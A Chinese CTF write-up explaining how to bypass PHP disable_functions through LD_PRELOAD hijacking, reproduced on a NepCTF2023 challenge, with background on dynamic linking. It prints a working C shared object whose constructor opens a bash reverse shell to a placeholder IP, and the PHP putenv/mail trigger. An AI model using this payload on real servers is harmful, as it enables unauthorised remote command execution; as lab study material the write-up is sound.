so绕过disable_function与LD_PRELOAD劫持学习

so绕过disable_function与LD_PRELOAD劫持学习

此绕过方式只适用于未禁用putenv()的PHP5环境。

这里使用NepCTF2023的一道题来做示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$jump_link = $_GET['link'];

if (isset($jump_link)) {
include($jump_link. ".txt"); // More info? See "/var/www/html/hint.ini" or "./hint.ini"
} else if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}

if (!isset($_GET['hint']) && !isset($jump_link)) {
?>
所以到底来没来? 且看 /<?php echo basename(__FILE__)?>?hint
<?php
}
?>

这里由一个php的过滤器链构造出的RCE的链子,但是有一堆disable_function

这里我本地复现一下

忘了原题ban了哪些函数了,那就写一下,下面这些函数吧

1
fpassthru,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,chgrp,chroot,assert,eval,scandir,var_dump

来力,进行一个简单的复现

编译下面的玩意

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 <&1'");

}

由于使用phpstudy复现,我省了上传的一步,利用filterchain命令注入

1
2
3
4
<?php
putenv(\"LD_PRELOAD=/www/admin/localhost_80/wwwroot/ok.so\");
mail(\"admin@localhost\",\"\",\"\",\"\",\"\");
?>

弹到shell了

结束。

这里我们用到了一个新的东西,叫做LD_PRELOAD劫持。

那么什么是LD_PRELOAD呢?

简单来说,LD_PRELOAD 是 Linux 系统下的一个环境变量,用于控制动态链接库的加载顺序。在动态链接库加载的过程中,LD_PRELOAD 的优先级是最高的。在讨论 LD_PRELOAD 时,我们不得不提到动态链接库以及不同类型的链接。

链接是指编译器在程序中查找所引用的函数或全局变量的位置。链接分为以下几种类型:

  • 静态链接:在程序运行之前,将各个目标模块以及所需的库函数链接为一个完整的可执行程序,之后不再分离。
  • 装入时动态链接:源程序编译后得到一组目标模块,在装入内存时,边装入边链接。
  • 运行时动态链接:源程序编译后得到的目标模块,在程序执行过程中需要时才进行链接。

动态链接和静态链接各有优缺点。从以上介绍可以了解到,静态链接实际上是将所有函数打包编译为一个可执行文件,编译后的函数无法更改,直接使用。动态链接的函数并没有编译到可执行文件中,而是使用动态链接库,在程序执行时动态加载库中的函数。如果动态库中的函数发生变化,对于可执行程序来说是透明的。这样做的好处是便于程序的更新和维护,相比之下,静态链接需要重新编译和发布以进行更新。

所以LD_PRELOAD 允许您在程序运行之前优先加载自定义的动态链接库。这样,我们就可以在自己定义的动态链接库中加载恶意函数。

详细的内容也可以查看LD_PRELOAD劫持(超详细篇)

  • 懒了